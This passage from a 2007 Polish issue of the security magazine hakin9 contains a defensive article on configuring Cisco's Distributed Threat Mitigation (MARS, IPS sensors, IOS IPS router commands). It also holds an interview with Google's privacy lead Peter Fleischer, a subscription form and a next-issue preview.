na połączeniu możliwości wielu różnego rodza-
ju urządzeń rozproszonych w sieci. Architektu-
ra  DTM  umożliwia  rozpowszechnianie  w  cza-
sie  rzeczywistym  informacji  o  aktualnym  za-
grożeniu  na  kontrolowane  urządzenia  i  w  ten
sposób powstrzymanie ataku na sieć, właśnie
wybuchającą  zarazę  sieciową  lub  innego  ro-
dzaju  anomalię  ruchową.  Jeśli  wysłanie  infor-
macji  wiązało  się  z  uaktualnieniem  konfigura-

cji urządzeń, powinny one oczywiście zostać
poinformowane po ustaniu ataku i powrócić do
pierwotnego stanu – jednocześnie raportując
te zdarzenia do systemów zarządzania.

Rozwiązania DTM

Łukasz Bromirski

stopień trudności

Obecne środowiska sieciowe stają się coraz bardziej wymagające

dla systemów bezpieczeństwa. Rosnące przepustowości

– zarówno dostępne w sieciach lokalnych jak i w styku

z Internetem, powodują że systemy mające ambicje działać

w czasie rzeczywistym stają przed coraz trudniejszym zadaniem.

Z artykułu dowiesz się...

• jak wygląda architektura DTM Cisco;
• jakie elementy powinieneś zastosować w sieci,

by rozwiązanie;

• spełniało swoje zadanie;
• czym system różni się od innych, prostszych

rozwiązań bezpieczeństwa;

• i kiedy uzupełnia inne systemy, w tym systemy

zarządzania i;

• monitoringu.

Powinieneś wiedzieć...

• w jaki sposób sieci IP przenoszą ruch;
• czym charakteryzują się poszczególne ele-

menty bezpieczeństwa;

• sieciowego - firewalle, systemy uwierzytelnia-

nia i monitoringu;

• przyda się podstawowa znajomość systemu

Cisco IOS.

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

Unikalnym przykładem takiego sys-
temu jest Cisco MARS, o którym
szerzej w dalszej części artykułu.

Kolejny element systemu to de-

dykowane  urządzenia  pozwalają-
ce  na  aktywne  zapobieganie  ata-
kom sieciowym – czyli sensory IPS.
Systemy te z uwagi na swoją budo-
wę, działanie i ilość informacji które
analizują w trakcie normalnej pracy,
stają się doskonałym narzędziem do
szybkiego  powstrzymywania  dowol-
nego  zagrożenia  sieciowego  –  sta-
nowią bazę wiedzy na temat zagro-
żeń, dużo dokładniejszą niż dowolne
filtry ruchowe dostępne na routerach
czy w systemach firewall.

Ostatni element systemu to

urządzenia,  które  w  ramach  działa-
nia systemu DTM będą pod kontro-
lą systemu zarządzania – tj. w cza-
sie  rzeczywistym  będą  mogły  zo-
stać wyposażone w kryteria opisują-
ce  ruch,  który  został  zidentyfikowa-
ny  jako  wrogi  i  który  należy  zatrzy-
mać. W architekturze Cisco DTM ro-
lę takich urządzeń pełnią routery Ci-
sco ISR wyposażone w oprogramo-
wanie z systemem IPS.

Jak działa DTM?

Rozwiązanie DTM zostanie opisa-
ne na przykładzie rozwiązania Ci-
sco DTM.

Elementem centralnym jest sys-

tem  Cisco  MARS,  który  na  podsta-
wie  informacji  spływających  do  nie-
go z całej sieci identyfikuje wspólnie
z systemami IPS konkretne zagroże-
nia czy niepożądane wzorce rucho-
we.  Połączenie  możliwości  identyfi-
kacji i korelacji zdarzeń przez system
MARS, z możliwościami wykrywania
i klasyfikacji zagrożeń systemów Ci-
sco  IPS  daje  administratorowi  bez-
pieczeństwa  wygodne  i  co  najważ-
niejsze – sprawnie działające narzę-

Rysunek 1.

Menu systemu MARS

Rysunek 2.

Ekran konfiguracji urządzeń

Rysunek 3.

Pusta lista urządzeń zarządzanych

Jak widać, sam pomysł zautoma-

tyzowania  pewnej  sekwencji  czyn-
ności  nie  jest  nowy  –  dotychczaso-
we systemy tego typu działały na po-
dobnej  zasadzie,  ale  brakowało  im
szybkości, dokładności (opierały się
o konfigurowalne filtry pakietów w ro-
uterach i przełącznikach oraz reguły
ścian ogniowych, które z natury rze-
czy  ograniczone  są  do  informacji  z
warstw  3-4  modelu  ISO  i  pewnych
wybranych  zagadnień  normalizacyj-
nych  dla  poszczególnych  protoko-
łów  działających  w  warstwach  wyż-
szych) oraz architektury zapewniają-
cej odpowiedni poziom bezpieczeń-
stwa (rekonfiguracja urządzeń odby-
wa się zwykle przez SNMP lub Tel-
net)  i  zintegrowanego  raportowania
w czasie rzeczywistym.

Architektura DTM

Każdy  system  bezpieczeństwa,  aby
móc  efektywnie  spełniać  swoje  za-
danie,  powinien  oprócz  mechani-
zmów wykrywających i decyzyjnych,
komunikować  się  z  administratorem.
Pierwszym  składnikiem  architektu-
ry DTM jest jak zawsze – system po-
zwalający na efektywne zarządzanie
całością rozwiązania.

Następny element, to rozwiąza-

nie  pozwalające  korelować  ze  sobą
informacje – serce architektury DTM.
Systemy monitorujące tego typu sta-
ją  się  coraz  bardziej  popularne,  z
uwagi  na  fakt,  że  nawet  pojedyn-
cze  urządzenia  sieciowe  są  w  sta-
nie generować wiele różnego rodza-
ju informacji o swojej pracy – od ty-
powo  utrzymaniowych  (przepełnio-
ne  interfejsy,  krytyczny  poziom  pa-
mięci  operacyjnej,  zbyt  duże  obcią-
żenie procesorów sieciowych), przez
wszelkie związane z ich specyficzną
funkcjonalnością (np. trafienie pakie-
tu  w  listy  kontroli  dostępu,  przekro-
czenie  konkretnej  wartości  sesji  dla
ścian  ogniowych  śledzących  połą-
czenia, czy również gwałtowny skok
w ilości obsługiwanych połączeń gło-
sowych, utrata dostępu do zasobów
plikowych).  Oczywiście  w  zależno-
ści  od  stopnia  integracji  oferowanej
przed producenta, systemy te waha-
ją  się  od  bardzo  płytko  analizujące
docierające  do  nich  informacje  (lub
wymagające  do  skutecznej  pracy
dużą ilość pracy integratorskiej, aby
dostosować ich bazę wiedzy do po-
siadanej  infrastruktury)  po  zintegro-
wane  z  konkretnymi  rozwiązaniami.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

dzie do powstrzymania ataku w całej
zarządzanej przez niego sieci.

W momencie wykrycia zagroże-

nia przez system Cisco IPS, system
Cisco  MARS  informowany  jest  na
bieżąco o konkretnym typie i wszel-
kich identyfikowanych cechach tego
zagrożenia  (adresy  sieciowe,  proto-
kół, cechy specyficzne dla protokołu
itd.). System MARS może w tym mo-
mencie  wyzwolić  jedną  z  własnych
reguł dotyczących obsługi tego typu
zdarzenia, w tym zapewnić automa-
tyczną  dystrybucję  opisu  ataku  (sy-
gnaturę) na zarządzane systemy IPS
– czyli routery (w tym konkretną gru-
pę routerów) z systemem IPS.

Oczywiście system osiąga naj-

większą skuteczność w sytuacji, gdy
pierwotny system IPS wykrywają-
cy atak posiada bogatą bazę sygna-
tur i anomalii – stąd zalecenie wyko-
rzystania dedykowanych sond Cisco
IPS (dedykowane urządzenia lub
karta do przełącznika Cisco Catalyst
6500), ale możliwe jest również wy-
korzystanie jako źródła informacji dla
systemu MARS routera Cisco ISR z
odpowiednio bogatym zestawem de-
finicji sygnatur.

Wraz z informacją o postaci za-

grożenia wysyłaną do routerów wy-
syłana jest również informacja o ak-
cji skojarzonej z wykryciem tego ty-
pu ruchu – może ona ograniczyć się
do alarmu, oraz do akcji bardziej ty-
powych – odrzucenia pakietu pasu-
jącego do sygnatury lub zresetowa-
niu połączenia, w którym potencjal-
nie szkodliwa zawartość została wy-
kryta.

Taka współpraca pomiędzy sen-

sorami  IPS,  systemem  zarządzania
oraz  routerami  z  systemem  Cisco
IOS  IPS  możliwa  jest  dzięki  dwóm
wspólnym  mechanizmom  –  uniwer-
salnemu językowi opisywania sygna-
tury (Cisco SDF – Signature Defini-

tion File) oraz protokołowi transpor-
towemu (SDEE – Security Device

Event Exchange).

Przykład instalacji

rozwiązania – Cisco DTM

W tej części artykułu opiszemy przy-
kładową instalację systemu w oparciu
o pojedyncze elementy rozwiązania.

Rysunek 6.

Konfiguracja parametrów dostępowych do routera

Rysunek 7.

Dane dostępowe do IPS w routerze

Rysunek 4.

Wybór urządzenia – router Cisco

Rysunek 5.

Dodanie podsystemu IPS do routera

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Konfiguracja routera

z funkcjonalnością Cisco

IOS IPS

Funkcjonalność obsługiwana jest na
routerach serii Cisco ISR 871, 1760,
1841, 2600, 3745, 3800, 7200, 7301
i 7401 z oprogramowaniem wspiera-
jącym  mechanizmy  bezpieczeństwa
oraz w wersji minimum 12.4(4)T. Na
routerze  należy  skonfigurować  ob-
sługę  protokołu  HTTPS  (SDEE  wy-
korzystuje  SSL  jako  protokół  trans-
portowy) oraz SSH (MARS użyje po-
łączenia SSH do wywołania rekonfi-
guracji  podsystemu  IPS),  a  następ-
nie aktywować podsystem IPS.

Lokalne uwierzytelnianie połą-

czeń do routera z systemu MARS
(można oczywiście skorzystać z
uwierzytelniania w oparciu o system
TACACS+):

router(config)# username
login-dla-systemu-mars privilege 15
secret haslo-dla-marsa

Włączenie serwera HTTPS i usta-
wienie uwierzytelniania połączeń do
niego w oparciu o lokalną bazę użyt-
kowników.

router(config)# ip http secure-server
router(config)# ip http authentication
local

(oczywiście  dostęp  do  serwera
HTTPS  można  następnie  ograni-
czyć  dodatkowo  np.  tylko  do  adre-
su IP systemu MARS, a także zasto-
sować  inne  mechanizmy  chroniące
pracę routera, jest to jednak zagad-
nienie na osobny artykuł).

Następnie należy aktywować

funkcjonalność  Cisco  IOS  IPS.  Ro-
utery  z  oprogramowaniem  zawiera-
jącym  podsystemy  bezpieczeństwa
dostarczane są z domyślnym zesta-
wem  sygnatur  zawartym  w  pliku  at-
tack-drop.sdf, zapisanym na pamięci
flash. Jest to zestaw wyjściowy, któ-
ry w trakcie pracy urządzenia może
zostać wzbogacony o inne sygnatury
dosłane przez system MARS:

router(config)# ip ips notify sdee
router(config)# no ip ips notify log

Rysunek 10.

Tworzenie reguł dla Cisco DTM w CS-MARS

Rysunek 11.

Dodajemy regułę

Rysunek 8.

Konfiguracja sondy IPS serii 4200 w CS-MARS

Rysunek 9.

Opcje konfiguracji sond IPS w MARS

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

router(config)# ip sdee subscriptions 3
router(config)# ip sdee alerts 2000
router(config)# ip ips sdf location
flash:attack-drop.sdf autosave
router(config)# ip ips name Hackin9_IPS

Konfigurację routera wieńczy włą-
czenie podsystemu IPS na wybra-
nych interfejsach – w naszym przy-
padku jest to zewnętrzny interfejs Gi-

gabitEthernet 0/0 routera:

router(config)# interface
gigabitethernet 0/0
router(config-if)# ip ips Hackin9_IPS in

Konfiguracja

dedykowanego systemu

Cisco IPS 5.x

Tak jak wspomniano wcześniej sonda
Cisco IPS zawierać będzie bibliotekę
ataków i z uwagi na to zaleca się, by
było to urządzenie dedykowane– do-
stępne w ramach serii sond Cisco IPS
4200 lub w postaci karty do Cisco Ca-
talyst 6500. Możliwe jest również za-
stosowanie w tej roli routera z funkcjo-
nalnością Cisco IOS IPS, ale z uwa-
gi na mniejszą ilość sygnatur nawet
w największym zestawie (w momen-
cie pisania tego artykułu jest to około
600 w porównaniu do ponad 2000 w
systemach dedykowanych) nie jest to
rozwiązanie optymalne.

Jedyna konfiguracja wymagana

na urządzeniu pracującym jako źró-
dło informacji dla systemu MARS jest
dodanie jego adresu IP do listy klien-
tów dla protokołu SDEE – w tej kon-
figuracji MARS będąc klientem po-
łączy się do sondy (serwera SDEE)
i pobierze potrzebne informacje na
podstawie otrzymanych logów.

Konfiguracja systemu

Cisco MARS

Konfiguracja  systemu  MARS  skła-
dać się będzie z dodania dedykowa-
nych systemów IPS, wskazania któ-
re routery (grupa) może zostać prze-
konfigurowana  w  ramach  architek-
tury  DTM,  oraz  dostosowania  reguł
wyzwolenia akcji w ramach DTM.

Aby dodać routery, po zalogowa-

niu się do konsoli należy z menu Ad-

min wybrać opcję Security and Moni-

tor Devices.

Rysunek 15.

Konfiguracja akcji – wybieramy DTM

Rysunek 12.

Opisujemy regułę

Rysunek 13.

Określamy kryteria wystąpienia

Rysunek 14.

Określamy sondy które mogoą powodować wyzwolenie alarmu

Następnie kliknąć Add: wybrać

odpowiedni rodzaj urządzenia (w
naszym przypadku Cisco IOS 12.x)
(Rysunek 4).

A następnie wypełnić pola po-

zwalające systemowi MARS otrzy-

mać  połączenie  do  routera:  kolej-
ny  krok  to  dodanie  funkcjonalno-
ści  IPS  (Add  IPS)  do  tak  zdefinio-
wanego routera ze wskazaniem lo-
ginu i hasła dla połączenia protoko-
łem SDEE:

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Dodanie systemów IPS pełnią-

cych  funkcje  raportujące  i  biblio-
teczne  dla  systemu  MARS  nastę-
puje  analogicznie  –  wybieramy  od-
powiedni typ urządzenia (w naszym
przypadku sonda Cisco IPS 5.x se-
rii 4200): oraz wskazujemy dane po-
zwalające kontaktować się z sondą:

Przeprowadzony powyżej pro-

ces można oczywiście zautomaty-
zować – posługując się na przykład
plikiem seed z systemu CiscoWorks,

pozwalającego automatycznie wczy-
tać wiele urządzeń bez żmudnego
przepisywania danych.

Konfiguracja systemu

Cisco MARS –

podsystem DTM

Po skonfigurowaniu urządzeń uczest-
niczących  w  systemie  DTM,  należy
zdefiniować  co  konkretnie  ma  dziać
się  w  ramach  tej  funkcjonalności  dla
wybranego  zakresu  sieci,  protokołów

Rysunek 17.

Wskazanie które routery mają otrzymać uaktualnienia

Rysunek 18.

Zdefiniowana reguła

(istnieją też inne kryteria na podsta-
wie których można podjąć takie a nie
inne decyzje).

Z menu Rules należy wybrać

CS-MARS Distributed Threat Mitiga-

tion  (Cisco  DTM)  (Rysunek  10)  klik-
nąć przycisk Add: opisać tą konkret-
ną  regułę  (oprócz  nazwy  możliwe
jest  również  umieszczenie  dłuższe-
go  komentarza):  po  kliknięciu  Next
przechodzimy  do  zdefiniowania  kry-
teriów  działania  reguły  –  w  systemie
MARS poszczególne zdarzenia zgła-
szane  przez  urządzenia  (np.  wyko-
nanie  NAT  na  pakiecie,  zablokowa-
nie pakietu, itp.) są łączone i korelo-
wane,  by  następnie  zostać  przejrza-
ne przez reguły (pozwalające powią-
zać ze zdarzeniem akcję). W naszym
przypadku kryterium jest bardzo sze-
rokie – ruch może mieć dowolny adres
źródłowy, docelowy oraz rodzaj usługi
(Rysunek 13).

Jako Device należy wybrać dedyko-

wane sondy IPS, służy do tego odpo-
wiednie okno wyboru zdefiniowanych
wcześniej urządzeń (Rysunek 14).

Po dokończeniu definicji kry-

teriów (można dodatkowo określić
słowa kluczowe które muszą wy-
stąpić w zgłaszanym przez sondę

Rysunek 16.

Wybór akcji do wyzwolenia – tylko alarm

alarmie, poziom alarmu oraz ilość wystąpień danego
zdarzenia  by  MARS  zareagował  a  także  pory  dnia  i
nocy w których nadejście danego alarmu ma być bra-
ne  pod  uwagę  przez  system)  z  menu  akcji  wybiera-
my DTM (Rysunek 15) a następnie rodzaj akcji (alarm,
alarm+odrzucenie  pakietów  lub  alarm+zresetowanie
połączenia) (Rysunek 16) i adresatów akcji – routery
z podsystemem IPS: następnie wracamy do główne-
go menu i z listy reguł zdefiniowanych przez użytkow-
nika  wybieramy  właśnie  dodaną  –  należy  ją  jeszcze
aktywować  (przez  zaznaczenie  przy  nazwie  regu-
ły ikonki v oraz kliknięcie przycisku ‘Activate’ w pra-
wym górnym rogu) po aktywowaniu reguł w systemie
MARS  wystarczy  poczekać  na  alarmy  napływające
z sensorów IPS. Na podstawie zdefiniowanych reguł
MARS podejmie decyzje o rozpowszechnieniu i akty-
wowaniu odpowiednich sygnatur na routerach z pod-
systemem Cisco IOS IPS.

Poniżej przykład logu, w którym system MARS wy-

krył atak i dokonfigurował do routera pod adresem
192.168.247.196 trzy sygnatury – o identyfikatorach 1107,
2000 i 2004.

Podsumowanie

Architektura  DTM,  pozwalająca  wzbogacić  istnieją-
ce  systemy  bezpieczeństwa  sieciowego  o  automa-
tyczną,  realizowaną  w  czasie  rzeczywistym  rekon-
figurację  pod  kątem  wykrywanych  ataków  stano-
wi  ważny  krok  na  drodze  quasi-inteligentnych  sys-
temów  bezpieczeństwa,  działających  dużo  dokład-
niej  niż  dostępne  obecnie  (i  dające  się  policzyć  na
palcach jednej ręki) systemy rekonfiguracji urządzeń
pozwalających  na  filtrowanie  pakietów.  Oczywiście,
należy spodziewać się rozszerzenia domeny zarów-
no urządzeń i oprogramowania raportującego (nieba-
wem  jednym  z  nich  będzie  oprogramowanie  na  sta-
cje robocze i serwery Cisco Secure Agent, pełniące
role zaawansowanego systemu HIPS) jak i pozwala-
jącego  na  zatrzymywanie  lub  ograniczanie  skutków
ataków  (systemy  firewall  i  VPN  oraz  zaawansowa-
ne  przełączniki).  W  dobie  sieci  generujących  setki,
tysiące i miliony zdarzeń w ciągu sekundy, nie mamy
już  bowiem  odwrotu  –  maszyny  muszą  zacząć  wal-
czyć z maszynami. l

W Sieci:

• Cisco Security MARS: http://www.cisco.com/go/mars;
• Cisco IPS 5.x w urządzeniach serii 4200: http://www.

cisco.com/go/ips;

• Cisco IOS IPS: http://www.cisco.com/go/iosips;
• Przewodnik konfiguracji rozwiązania DTM: http://www.

cisco.com/en/US/products/ps6241/products_configura-
tion_example09186a008067a2b0.shtml.

www.hakin9.org

hakin9 Nr 1/2007

Wywiad

Peter Fleischer

utrzymuje stały kontakt z oso-

bami  mającymi  wpływ  na  ochronę  prywatno-
ści Internautów w Europie, by zagwarantować,
że  Google  będzie  reagować  na  europejskie
oczekiwania na tym polu. Peter ma 10 – letnie
doświadczenie  w  dziedzinie  ochrony  danych.
Wcześniej  pracował  w  firmie  Microsoft  jako
kierownik ds. prywatności w Europie i dyrektor
ds. regulacji ustawowych. Peter kształcił się w
USA  (Harvard  College  i  Harvard  Law  School)
i  w  Niemczech  (LMU  –  Monachium).  Przez
ostatnie dziesięć lat pracował w Paryżu.

hakin9:

Bezpieczeństwo danych w sie-

ci  jest  obecnie  bardzo  gorącym  tematem.
Jakie  działania  podejmuje  Google, by  zapew-
nić  swoim  użytkownikom  bezpieczeństwo  ich
danych w sieci?

PF:

Nasze produkty, od początku swego ist-

nienia, mają wbudowane mechanizmy ochrony
prywatności, żaden z nich również nie wykorzy-
stuje danych personalnych użytkowników bez
ich zgody. Zawsze też prosimy użytkowników by
potwierdzili chęć korzystania z serwisów wyma-
gających ujawnienia poufnych danych.

Nasze zasady prywatności piszemy pro-

stym językiem, unikamy prawniczego żargo-
nu. Kiedy nie zachodzi potrzeba, nie wymaga-
my od użytkowników aby podawali nam swoje
dane. Z większości naszych serwisów można
korzystać anonimowo.

h9:

Nawiązując do prostoty językowej: czy

byłby Pan w stanie opisać nam zasady bez-
pieczeństwa prywatności w dosłownie kilku

punktach? Tak, aby każdy mógł w przejrzy-
sty sposób zapoznać się z nimi i zrozumieć,
bez potrzeby wdrażania się w zawiłości języ-
ka prawniczego.

PF:

Tak, oczywiście. Po pierwsze nasze

powiadomienia  są  proste  i  czytelne.  Projek-
tujemy  produkty,  które  jasno  informują  użyt-
kowników, jaki maja wpływ na ich prywatność
i  zawsze,  gdy  jest  to  możliwe,  pozostawiają
wybór. Przykładem może być Google Toolbar,
w którym unikamy prawniczego żargonu; w in-
terfejsie zachowany jest też styl Google. Naj-
ważniejsza  w  przechowywaniu  danych  jest
dla  nas  przejrzystość.  Projektujemy  produkty,
które jasno informują użytkowników, jaki mają
wpływ na ich prywatność i zawsze, gdy jest to
możliwe, pozostawiają wybór.

Równie istotnym jest, by zasady prywatno-

ści były łatwe do czytania. Jest to proste, jed-
nostronicowe  podsumowanie  najważniejszych
informacji  o  prywatności,  z  odnośnikami  do
kompletnych  zasad  prywatności  i  informacji
o  poszczególnych  produktach.  „Warstwowa”
architektura tekstu jest czytelna i zrozumiała.

Staramy również upewnić się, że partne-

rzy,  z  którymi  współpracujemy  także  prze-
strzegają zasad prywatności. Tak jest w przy-
padku  Google  Analytics,  oferującemu  serwi-
som  WWW  szczegółowe,  anonimowe  rapor-
ty  statystyczne,  dotyczące  interakcji  odwie-
dzających z tymi serwisami. Google wymaga,
aby zewnętrzni użytkownicy oprogramowania
Analytics publikowali zasady prywatności i in-

Wywiad z Peterem

Fleischerem

Peter Fleischer, kieruje pracami Google w zakresie ochory

prywatności w regionie EMEA (obszar Europy, Bliskiego Wschodu

i Afryki). Jego zadaniem jest dopilnownie, by firma Google chroniła

prywatność użytkowników swoich produktów, wywiązywała się

ze wszelkich zobowiązań prawnych i systematycznie podnosiła

standardy ochrony prywatności w Internecie.

Wywiad

hakin9 Nr 1/2007

www.hakin9.org

formowali swoich użytkowników o tym, że serwis wyko-
rzystuje Cookiem, który gromadzi anonimowe dane.

h9:

Widzę, że Google kładzie duży nacisk, aby na

każdym kroku wyjaśnić, co się dzieje z prywatnymi dany-
mi użytkowników. Czy w związku z tym użytkownicy chęt-
niej sięgają po serwisy Google?

PF:

Wyjaśniamy szczegółowo jak działa innowacyj-

ny serwis, co przynosi bardzo dobre efekty. Przykładem
może być Gmail – darmowy serwis poczty elektronicznej,
utrzymywany z „kontekstowych reklam”, bazujących na sło-
wach w e-mailach. Wystąpiły pewne wątpliwości dotyczą-
ce prywatności podczas premiery – zadawano pytania, czy
Google czyta e-maile, aby wyświetlać reklamy? Te wątpli-
wości zniknęły, gdy użytkownicy zapoznali się z działaniem
Gmail: e-maile są czytane przez automatyczne oprogramo-
wanie, nie przez ludzi. Działa na zasadzie reklam dostoso-
wanych do grupy targetowej, które pojawiają się gdy korzy-
stamy z wyszukiwarki Google. Jest podobny do oprogramo-
wania skanującego wirusy oraz spam. Poza tym, reklamy
są dynamiczne i w czasie rzeczywistym, nie są tworzone
stałe zapisy i profile. Wierzymy, że nasi użytkownicy wolą
widzieć interesujące dla nich reklamy, zamiast losowo poja-
wiające się reklamówki.

h9:

Rozumiem, że prawo chroni dane osobowe. Ale

co zrobić w przypadku, gdy rząd danego państwa wyda-
je polecenie monitorowania danych?

PF:

Google sprzeciwia się nadmiernym żądaniom do-

stępu do danych ze strony rządu. Przytoczę przypadek, gdy
amerykański Departament Sprawiedliwości zaangażował
się w proces dotyczący konstytucjonaliści amerykańskiej
ustawy z 1998r. o ochronie dzieci w Internecie. Celem było
określenie, czy filtry programowe byłyby skuteczne w reali-
zowaniu założeń prawa, bez ograniczania swobody wypo-
wiedzi. Departament Sprawiedliwości wysłał wezwanie do
Google, a także do AOL, Yahoo, MSN i wielu innych firm.
Od Google żądał przekazania miliardów adresów URL i mi-
lionów zapytań do wyszukiwarki. Google zdecydował się na
spór w sądzie, aby sprzeciwić się temu wezwaniu. W uza-
sadnieniu Google podał, że wezwanie było przesadne, bez
znaczenia dla sprawy, naruszało prywatność użytkowników
i zagrażało własności firmy. Sędzia Ware orzekł werdykt na
korzyść Google (nakazując przedstawienie 5000 adresów
URL żadnych zapytań). Jest to ważny precedens prawny
w walce o zrównoważenie rządowego dostępu do informa-
cji z oczekiwaniami użytkowników w zakresie prywatności.

Zanim wdrożymy nową usługę (np. Google Image

Search lub Google Earth) upewniamy się, że jest ona stu-
procentowo  bezpieczna  dla  użytkowników.  Nie  możemy
sobie  pozwolić,  by  wydać  cokolwiek,  co  mogłoby  powo-
dować niebezpieczeństwo dla prywatności. Pracujemy też
nad  zachowaniem  prywatności  w  Web  2.0.  Komputery-
zacja zdąża w kierunku modelu usługowego, gdzie użyt-
kownicy coraz częściej decydują się na przechowywanie
swoich Nawych i uruchamianie aplikacji online, takich jak
poczta przez WWW, dokumenty, kalendarze, czaty, blogi
itd. Przykładowe usługi, które przechowują dane użytkow-
ników centralnie, ale mają dostęp z każdego miejsca to:

• Poczta przez WWW (MSN Hotmail, Yahoo Mail,

Gmail, Web. De FreeMail);

• Przechowywanie plików online (Yahoo Brief Case,

Microsoft FolderShare, AOL Xdrive);

• Kopie zapasowe online – automatycznie pobierają pli-

ki z prywatnego komputera i tworzą kopie zapasowe
na scentralizowanych serwerach.

Logowanie z dowolnego komputera, telefonu komórkowe-
go lub urządzenia podłączonego do Internetu, dające na-
tychmiastowy  dostęp  do  wszystkich  aplikacji  i  danych,  z
możliwością  ich  przeszukania,  co  jest  bardzo  cenne  dla
użytkowników.  Funkcja  SAC,  czyli  wyszukiwanie  między
komputerami) w Google Desktop to mały przykład duże-
go trendu.

h9:

Jakie działania podejmuje Google, aby zapewnić

komfort klientom, którzy zdecydowali się przenieść dane
ze swojego komputera na wasz serwer?

PF:

Ostrzeżenia,że pliki zostaną przeniesione do ser-

werów Google Desktop są bardzo czytelne. Użytkowni-
cy mogą precyzyjnie określić, które dane chcą udostęp-
nić, a których nie chcą udostępniać. Umieściliśmy rów-
nież przycisk, za pomocą którego można łatwo skasować
wszystkie własne pliki z serwerów Google Desktop.

h9:

W Stanach Zjednoczonych dane w komputerze

PC użytkownika w jago domu są silnie chronione przez
czwartą poprawkę do Konstytucji. Aby je udostępnić, nie-
zbędny jest sądowy nakaz przeszukania. Jednak dane
na serwerach korporacyjnych mają tę ochronę dużo słab-
szą – jest ona zapewniana przez ustawę o prywatności
komunikacji elektronicznej. Stawia ona dużo niższe wy-
mogi, gdy chodzi o rządowy dostęp do danych określone-
go typu – w tym przypadku wystarczy jedynie wezwanie.
Przepisy na świecie nie zapewniają takiego samego po-
ziomu ochrony. Co zrobić, aby zmienić ten stan rzeczy?

PF:

Google uważa, że dane użytkowników powinny

podlegać takiej samej ochronie prywatności, niezależnie
od tego, czy są przechowywane na ich własnych kompute-
rach, czy na serwerach stron trzecich. Aby usunąć przyto-
czoną anomalię prawną, Google wspiera stworzenie fede-
ralnej ustawy o prywatności konsumentów i zaktualizowa-
nie ustawy o prywatności komunikacji elektronicznej.

W Unii Europejskiej kwestie ochrony danych w trzecim

filarze  regulacji  wzbudzają  poważny  niepokój.  Przepisy
o  przechowywaniu  danych  (Europa,  USA,  inne  części
świata) podniosą stawkę. Usługi Web 2.0 zwiększa gwał-
townie liczbę danych na serwerach, wymagane będzie ich
utrzymanie, a rządy i służby odpowiedzialne za egzekwo-
wanie  prawa  będą  chciały  mieć  do  nich  dostęp.  Google
już spotkał się w sądzie z Amerykańskim Departamentem
Sprawiedliwości  w  sprawie  gigantycznego  przekazania
danych. Google chce pracować ze wszystkim zaintereso-
wanymi stronami, aby zagwarantować, że zasady ochrony
danych będą szanowane w świecie Web 2.0: To nasz biz-
nes i nasze wartości. l

Rozmawiała: Marta Ogonek

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

119

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży w połowie stycznia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

2/2007

w następnym numerze

między innymi:

Zapowiedzi

StMichael – protektor integralności

Linux Kernel

Wiele zabezpieczeń Linuksa nie chroni bezpośrednio jądra co umożliwia zło-
śliwym programom, działającym tak jak np.: robak win32 na wślizgnięcie się
do systemu. StMichael może chronić jądro przeciwko rootkitom np.: przez
monitorowanie licznych fragmentów jądra. Rodrigo Rubira Branco przedsta-
wi jak korzystać z StMichaela i w jaki sposób chroni on nasz system.

Bezpieczne programowanie

serwerów sieciowych

System oprogramowania trapdoor2 jest przykładem na opisanie technik pro-
gramistycznych jako ochrony przed atakami przy użyciu języka C. Andre-
as Krennmair opisze system oprogramowania do bezpiecznego wywoływa-
nia niezdefiniowanych komend ponad siecią używając metody autentykacji i
środka bezpieczeństwa warstwy transportowej.

Techniki maskowania obecności w GNU/Linux

W artykule omówimy przechwytywanie wywołań otwarcia jakiegoś pliku,
sprawdzenie jego nazwy oraz opiszemy co się dzieje w przypadku jeśli
nazwa zgadza się z jakąś wymyśloną wcześniej. Artykuł przedstawia pod-
stawowe techniki maskowania użytkownika w systemie

Obrona

Na CD:

• hakin9.live - butowalna dystrybucja Linuksa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień

